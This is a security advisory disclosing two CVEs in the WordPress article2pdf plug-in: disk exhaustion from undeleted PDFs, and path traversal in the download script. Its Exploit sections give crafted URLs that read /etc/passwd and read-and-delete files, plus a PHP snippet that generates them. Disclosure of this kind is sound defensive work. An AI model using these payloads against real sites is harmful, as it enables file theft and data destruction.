WordPress article2pdf 0.24 DoS / File Deletion / Disclosure

`Product: article2pdf (Wordpress plug-in)  
Product Website: https://wordpress.org/plugins/article2pdf/  
Affected Versions: 0.24 and greater  
  
The following vulnerabilities were found in a code review of the   
plug-in. An attempt to contact the  
plug-in maintainer on 8 December 2018 was unsuccessful. The Wordpress   
security team disabled downloads  
of the plug-in upon notification on 8 January 2019.  
  
I would like to thank Ken Johnson (@cktricky) and Set Law (@sethlaw)   
whose course  
"Seth & Ken's Excellent Adventures in Secure Code Review" sparked my   
interest in reviewing code for  
vulnerabilities.  
  
  
  
[CVE-2019-1000031] Generated PDF file is only removed after download   
which is initiated by a redirect  
=====================================================================================================  
Type:  
-----  
Resource Exhaustion  
  
Description:  
-----------  
The plugin generates a PDF version of a post/article when a link of the  
form  
  
https://www.example.com/.../my-post-title/?article2pdf=1  
  
is visited. The response to this initial request is a redirect to a link  
like  
  
http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz  
  
which will then return the PDF file contents and subsequently delete  
the file.  
  
As the deletion is coupled with the download but the download is  
initiated by a different request than the one which creates the file,  
visiting the link which creates the file and not following the redirect  
results in the file not being deleted. These files can then accumulate  
and potentially exhaust the available disk space.  
  
Depending on the server setup, space exhaustion of a hard drive or hard  
drive partition or even just a disk quota can result in denial of  
service even for unrelated services on the same machine which rely on  
the same resource.  
  
This issue was originally reported on the plugin's bug tracker [2] but  
never identified as a vulnerability.  
  
Exploit  
-------  
Repeatedly visit a PDF generation link the plugin provides without ever  
following the redirect to exhaust disk space.  
  
  
  
[CVE-2019-1010257] PDF file download path is constructed from   
insufficiently sanitised user input  
=================================================================================================  
Type:  
-----  
Information Disclosure / File Deletion  
  
Description:  
------------  
When visiting the PDF download link which the original PDF generation  
link redirects to, the file path is constructed from a combination of  
fixed strings and the strings provided via the query string of the  
download URL. The download URL has the form  
  
http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz  
  
where xxx is a base64 encoded absolute string, xxx is a short hex hash  
and zzz is the base64 encoded URL title slug of the post the PDF was  
generated from. While the plugin attempts to sanitise these input  
parameters to not allow path traversal, this sanitisation is  
insufficient and can be fully or partially circumvented depending on  
the PHP version the Wordpress instance is running on.  
  
In the case of PHP version <5.3 it is possible to read any file the  
user the plugin is executed under has read access to by just encoding  
the full file path in the parameter "d" and terminating that string  
with a null-byte. The parameter "p" must not be empty but can contain  
any value. The parameter "r" may be empty but its value is of no  
significance. If the user that the script is executed as has write  
access to the file or the directory it is stored in, the file will be  
deleted after it has been downloaded. If the user has no write access,  
an error message may be shown at the end of the file contents  
offered which discloses the Wordpress instance's install directory on  
the server.  
  
In the case of PHP version >=5.3, null-termination will no longer cut  
off the string. As the generated file name ends with a fixed string  
".pdf", only files with that file ending can be read. The parameter "d"  
may be any directory on the server. The parameter "p" needs to contain  
8 backspace characters to delete a prepended fixed string from the file  
name while the parameter "r" must contain exactly one backspace. The  
actual file name (without the ".pdf") can then be appended to the  
backspaces in either parameter "p" or parameter "r". It is also  
possible to have "p" contain one random character and then have 10  
backspace characters followed by the actual file name (again,  
without the ".pdf") stored in parameter "r".  
  
The information above can also be found on the plug-in's issue tracker   
[3].  
  
Exploit:  
--------  
On PHP <5.3, a specially crafted link like  
  
http://php52.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=YQ==&r=&d=L2V0Yy9wYXNzd2QA  
  
will download the server's /etc/passwd file.  
  
On PHP >=5.3, a specially crafted link like  
  
http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=CAgICAgICAg=&r=%08test&d=L3RtcA==  
  
will return the contents of the file "/tmp/test.pdf" and delete the  
file if the user the script is executed as has permissions to do so.  
  
The link used above can be generated using a few lines of PHP:  
  
<?php  
$d52 = base64_encode("/etc/passwd\0");  
$p52 = base64_encode("a");  
$r52 = "";  
echo   
"http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p52}&r=${r52}&d=${d52}\n";  
$d53 = base64_encode("/tmp");  
$p53_raw = "";  
for ($i=0;$i<8; $i++) $p53_raw .= chr(8);  
$p53 = base64_encode($p53_raw);  
$r53 = "%08test";  
echo   
"http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p53}&r=${r53}&d=${d53}\n";  
  
[1] https://wordpress.org/plugins/article2pdf/  
[2]   
https://wordpress.org/support/topic/plugin-article2pdf-temporary-files-filling-up-server-space/  
[3]   
https://wordpress.org/support/topic/pdf-download-path-improperly-sanitised/  
  
`